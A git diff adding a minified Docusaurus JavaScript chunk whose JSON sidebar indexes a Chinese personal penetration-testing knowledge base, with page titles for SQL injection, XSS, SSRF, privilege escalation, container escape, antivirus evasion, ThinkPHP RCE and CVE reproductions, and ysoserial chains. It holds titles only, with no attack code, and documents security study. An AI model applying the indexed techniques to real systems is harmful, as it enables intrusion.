a/assets/js/0058b4c6.b0ee8855.js b/assets/js/0058b4c6.b0ee8855.js new file mode 100644 index 0000000..89c1a33 --- /dev/null +++ b/assets/js/0058b4c6.b0ee8855.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[849],{86164:e=>{e.exports=JSON.parse('{"version":{"pluginId":"default","version":"current","label":"Next","banner":null,"badge":false,"noIndex":false,"className":"docs-version-current","isLast":true,"docsSidebars":{"tutorialSidebar":[{"type":"link","href":"/docs/intro","label":"intro","docId":"intro","unlisted":false},{"type":"category","label":"\u4e2a\u4eba\u77e5\u8bc6\u5e93","collapsible":true,"collapsed":true,"items":[{"type":"category","label":"\u6e17\u900f\u6d4b\u8bd5","collapsible":true,"collapsed":true,"items":[{"type":"category","label":"\u4fe1\u606f\u6536\u96c6","collapsible":true,"collapsed":true,"items":[{"type":"category","label":"\u8d44\u4ea7\u6536\u96c6","collapsible":true,"collapsed":true,"items":[{"type":"category","label":"\u4e3b\u57df\u540d\u6536\u96c6","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/ICP\u5907\u6848\u67e5\u8be2","label":"ICP\u5907\u6848\u67e5\u8be2","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/ICP\u5907\u6848\u67e5\u8be2","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/\u8bc1\u4e66\u67e5\u8be2","label":"\u8bc1\u4e66\u67e5\u8be2","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/\u8bc1\u4e66\u67e5\u8be2","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/WHOIS-IP\u53cd\u67e5\u67e5\u8be2","label":"WHOIS-IP\u53cd\u67e5\u67e5\u8be2","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/WHOIS-IP\u53cd\u67e5\u67e5\u8be2","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/google\u67e5\u8be2","label":"google\u67e5\u8be2","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/google\u67e5\u8be2","unlisted":false}],"href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/"}]}],"href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/"},{"type":"category","label":"WEB\u6f0f\u6d1e","collapsible":true,"collapsed":true,"items":[{"type":"category","label":"SQL\u6ce8\u5165","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/\u6ce8\u5165\u5224\u65ad","label":"\u6ce8\u5165\u5224\u65ad","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/\u6ce8\u5165\u5224\u65ad","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/\u6570\u636e\u5e93\u8bc6\u522b","label":"\u6570\u636e\u5e93\u8bc6\u522b","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/\u6570\u636e\u5e93\u8bc6\u522b","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/Oracle","label":"Oracle","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/Oracle","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/MySQL","label":"MySQL","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/MySQL","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/PostgreSQL","label":"PostgreSQL","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/PostgreSQL","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/SQLite","label":"SQLite","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/SQLite","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/MSSQL","label":"MSSQL","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/MSSQL","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/HQL","label":"HQL","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/HQL","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/DB2","label":"DB2","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/DB2","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/Cassandra","label":"Cassandra","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/Cassandra","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/BigQuery","label":"BigQuery","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/BigQuery","unlisted":false}],"href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/"},{"type":"category","label":"XSS\u6ce8\u5165","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/XSSInAngular","label":"Angular \u548c AngularJS \u4e2d\u7684 XSS","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/XSSInAngular","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/XSSWithRelativePathOverwrite","label":"02.XSSWithRelativePathOverwrite.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/XSSWithRelativePathOverwrite","unlisted":false}],"href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/"},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SSRF/","label":"SSRF\u6f0f\u6d1e","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SSRF/README","unlisted":false}]},{"type":"category","label":"\u5de5\u5177\u4f7f\u7528","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5de5\u5177\u4f7f\u7528/PathScan","label":"PathScan","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5de5\u5177\u4f7f\u7528/PathScan","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5de5\u5177\u4f7f\u7528/oss-put","label":"oss-put","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5de5\u5177\u4f7f\u7528/oss-put","unlisted":false}]},{"type":"category","label":"\u5185\u7f51\u6e17\u900f","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/MSF\u63d0\u6743","label":"MSF\u63d0\u6743","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/MSF\u63d0\u6743","unlisted":false},{"type":"category","label":"\u5185\u7f51\u6e17\u900f","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/\u5bb9\u5668\u9003\u9038\u7684\u624b\u6cd5/","label":"\u5bb9\u5668\u9003\u9038\u7684\u624b\u6cd5","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/\u5bb9\u5668\u9003\u9038\u7684\u624b\u6cd5/README","unlisted":false},{"type":"category","label":"k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/ApiServer","label":"Apiserver","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/ApiServer","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/Etcd","label":"etcd","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/Etcd","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/Kubelet","label":"Kubelet","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/Kubelet","unlisted":false}],"href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/"}],"href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/"},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/k3s\u5b89\u88c5/","label":"k3s\u5b89\u88c5","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/k3s\u5b89\u88c5/README","unlisted":false},{"type":"category","label":"Linux\u63d0\u6743","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/Linux\u63d0\u6743/RootHawkX-Linux\u672c\u5730\u63d0\u6743\u5de5\u5177","label":"RootHawkX Linux\u672c\u5730\u63d0\u6743\u5de5\u5177","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/Linux\u63d0\u6743/RootHawkX-Linux\u672c\u5730\u63d0\u6743\u5de5\u5177","unlisted":false}],"href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/Linux\u63d0\u6743/"}]},{"type":"category","label":"\u6e17\u900f\u624b\u6cd5","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/\u67d0\u5927\u5b66\u6e17\u900f\u6d4b\u8bd5/","label":"\u67d0\u5927\u5b66\u6e17\u900f\u6d4b\u8bd5","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/\u67d0\u5927\u5b66\u6e17\u900f\u6d4b\u8bd5/README","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/SpringBoot\u6e17\u900f/","label":"SpringBoot\u6e17\u900f","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/SpringBoot\u6e17\u900f/README","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/JS\u8fd8\u539f/","label":"JS\u8fd8\u539f","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/JS\u8fd8\u539f/README","unlisted":false}]},{"type":"category","label":"\u514d\u6740","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u514d\u6740/fscan\u514d\u6740/","label":"fscan\u514d\u6740","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u514d\u6740/fscan\u514d\u6740/README","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u514d\u6740/\u53bb\u7279\u5f81/","label":"\u53bb\u7279\u5f81","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u514d\u6740/\u53bb\u7279\u5f81/README","unlisted":false}]},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u57fa\u7ebf\u68c0\u67e5/","label":"\u57fa\u7ebf\u68c0\u67e5","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u57fa\u7ebf\u68c0\u67e5/README","unlisted":false}]},{"type":"category","label":"\u6f0f\u6d1e\u590d\u73b0","collapsible":true,"collapsed":true,"items":[{"type":"category","label":"Thinkphp","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphp5.0.22\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c","label":"Thinkphp5.0.22\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphp5.0.22\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphp6.0.12\u53cd\u5e8f\u5217\u5316","label":"Thinkphp6.0.12\u53cd\u5e8f\u5217\u5316","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphp6.0.12\u53cd\u5e8f\u5217\u5316","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphpv6.0.13\u591a\u8bed\u8a00Rce","label":"Thinkphpv6.0.13\u591a\u8bed\u8a00Rce","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphpv6.0.13\u591a\u8bed\u8a00Rce","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/CVE-2022-38352","label":"CVE-2022-38352","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/CVE-2022-38352","unlisted":false}]},{"type":"category","label":"V2board","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/V2board/privilege-escalation-1.6","label":"privilege-escalation-1.6","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/V2board/privilege-escalation-1.6","unlisted":false}]},{"type":"category","label":"Trojanpanel","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Trojanpanel/TrojanPanel\u672a\u6388\u6743\u6dfb\u52a0\u7528\u6237","label":"TrojanPanel\u672a\u6388\u6743\u6dfb\u52a0\u7528\u6237","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Trojanpanel/TrojanPanel\u672a\u6388\u6743\u6dfb\u52a0\u7528\u6237","unlisted":false}]},{"type":"category","label":"cve","collapsible":true,"collapsed":true,"items":[{"type":"category","label":"2023","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/cve/2023/CVE-2023-33246","label":"CVE-2023-33246","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/cve/2023/CVE-2023-33246","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/cve/2023/CVE-2023-33979","label":"CVE-2023-33979","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/cve/2023/CVE-2023-33979","unlisted":false}]}]},{"type":"category","label":"\u7985\u9053","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/\u7985\u9053/chandao_ajaxGetList_flag_wp","label":"\u7985\u9053 action.ajaxGetList \u672a\u6388\u6743\u6cc4\u9732\u5230 Getshell \u8bfb\u53d6 /flag WP","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/\u7985\u9053/chandao_ajaxGetList_flag_wp","unlisted":false}]},{"type":"category","label":"Simple Admin","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Simple Admin/\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458/","label":"\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458 \u2014 PoC","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Simple Admin/\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458/\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458","unlisted":false}]},{"type":"category","label":"\u7528\u53cb","collapsible":true,"collapsed":true,"items":[{"type":"category","label":"YonBIP","collapsible":true,"collapsed":true,"items":[{"type":"category","label":"YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/\u7528\u53cb/YonBIP/YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790/YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790(1)","label":"\u7528\u53cb YonBIP NCSysBrokerServlet \u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u6df1\u5ea6\u5206\u6790","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/\u7528\u53cb/YonBIP/YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790/YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790(1)","unlisted":false}]}]}]},{"type":"category","label":"JeecgBoot","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/JeecgBoot/JeecgBoot 3.9.5 pre-auth RCE\u6f0f\u6d1e\u7ed5\u8fc7/","label":"JimuReport \u81ea\u52a8\u5bfc\u51fa Python \u63d2\u4ef6\u8868\u8fbe\u5f0f\u6ce8\u5165\u4fee\u590d\u7ed5\u8fc7\u6f0f\u6d1e\u5206\u6790","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/JeecgBoot/JeecgBoot 3.9.5 pre-auth RCE\u6f0f\u6d1e\u7ed5\u8fc7/README","unlisted":false}]}]},{"type":"category","label":"\u4ee3\u7801\u5ba1\u8ba1","collapsible":true,"collapsed":true,"items":[{"type":"category","label":"Java","collapsible":true,"collapsed":true,"items":[{"type":"category","label":"\u57fa\u7840\u5ba1\u8ba1","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/\u57fa\u7840\u5ba1\u8ba1/JAVA\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e","label":"JAVA\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/\u57fa\u7840\u5ba1\u8ba1/JAVA\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e","unlisted":false}]},{"type":"category","label":"ysoserial\u5229\u7528\u94fe","collapsible":true,"collapsed":true,"items":[{"type":"category","label":"Apache Commons Collections \u53cd\u5e8f\u5217\u5316\u5229\u7528","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC1","label":"Apache Commons Collections 1","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC1","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC2","label":"Apache Commons Collections 2","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC2","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC3","label":"Apache Commons Collections 3","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC3","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC6","label":"Apache Commons Collections 6","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC6","unlisted":false}],"href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/"},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/URLDNS","label":"URLDNS","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/URLDNS","unlisted":false}]}]},{"type":"category","label":"PHP","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/PHP\u4ee3\u7801\u5ba1\u8ba1\u57fa\u7840\u77e5\u8bc6","label":"PHP\u4ee3\u7801\u5ba1\u8ba1\u57fa\u7840\u77e5\u8bc6","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5b